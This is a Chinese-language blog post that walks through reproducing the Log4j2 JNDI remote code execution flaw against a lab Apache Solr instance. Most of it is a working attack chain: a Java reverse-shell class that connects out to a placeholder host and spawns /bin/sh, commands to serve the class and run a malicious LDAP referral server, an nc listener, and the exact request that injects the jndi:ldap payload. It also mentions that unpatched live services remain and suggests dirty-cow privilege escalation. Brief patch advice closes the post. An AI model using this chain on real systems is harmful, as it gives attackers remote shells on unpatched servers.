漏洞描述
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
上面从网上找了一段描述,自上周四poc出来之后,波及很广,大家都是加班加点的打补丁,很多SRC纷纷发文称暂不接受该漏洞,到现在,仍有很多带有漏洞的业务跑在互联网上,利用工具如雨后春笋一样,这里随便找了个工具从黑盒层面进行检测,该漏洞的利用方式类似fastjson jndi注入
黑盒检测工具
这里推荐burp插件进行被动扫描,之前尝试写xray poc,发现xray的poc只能fuzz header头,不能遍历参数进行fuzz,burp插件覆盖更全面
自行GitHub搜索 log4jscan
dnslog建议自建或者使用ceye.io,不然大家都是用dnslog.cn,时不时抽风一下,根本无法检测出漏洞
靶场搭建
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1
使用浏览器访问:
http://192.168.64.128:8983/solr/#/
漏洞检测
通过burp扩展插件和dnslog日志查看漏洞信息
这里确认indexInfo参数触发漏洞
漏洞利用
参考fastjson漏洞利用,利用恶意ldap服务器进行jndi注入,加载远程恶意类,造成任意代码执行
恶意类
这里先写一个恶意类 Exploit.java,并编译为class文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Exploit { public Exploit() throws Exception { String host="x.x.x.x"; //修改为反弹服务器 int port=x; // 修改为反连端口 String cmd="/bin/sh"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) so.write(pi.read()); while(pe.available()>0) so.write(pe.read()); while(si.available()>0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close(); } } |
直接使用python启动服务
1
|
python -m SimpleHTTPServer 80 //xxx为web端口
|
启动恶意ldap服务器
之前复现fastjson的直接拿过来用
1
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxx为ldap端口
|
nc 监听反连端口
nc -lvvp x //x 为恶意类指定的反连端口
触发漏洞
发送请求
1 2 3 4 5 6 |
GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1 Host: 192.168.64.128:8983 X-Requested-With: XMLHttpRequest Referer: http://192.168.64.128:8983/solr/ Cookie: JSESSIONID=066F1A7579CF0FC0C94C097160C692F6 Connection: close |
查看ldap服务器响应
查看web服务响应
查看nc监听,可以看到拿到shell了
这里可以看到拿到shell了,这里吐槽一下某SRC,修复窗口都一周了,补丁没打完,SRC还不收漏洞,低内核版本的linux,可脏牛提权,直接忽略
修复建议
升级log4j到 2.15.0-rc2以上/添加jvm参数 -Dlog4j2.formatMsgNoLookups=true/使用rasp防护/删除jndilookup都可以
发布者:常山赵子龙,转载请注明出处:https://www.qztxs.com/archives/science/technology/11385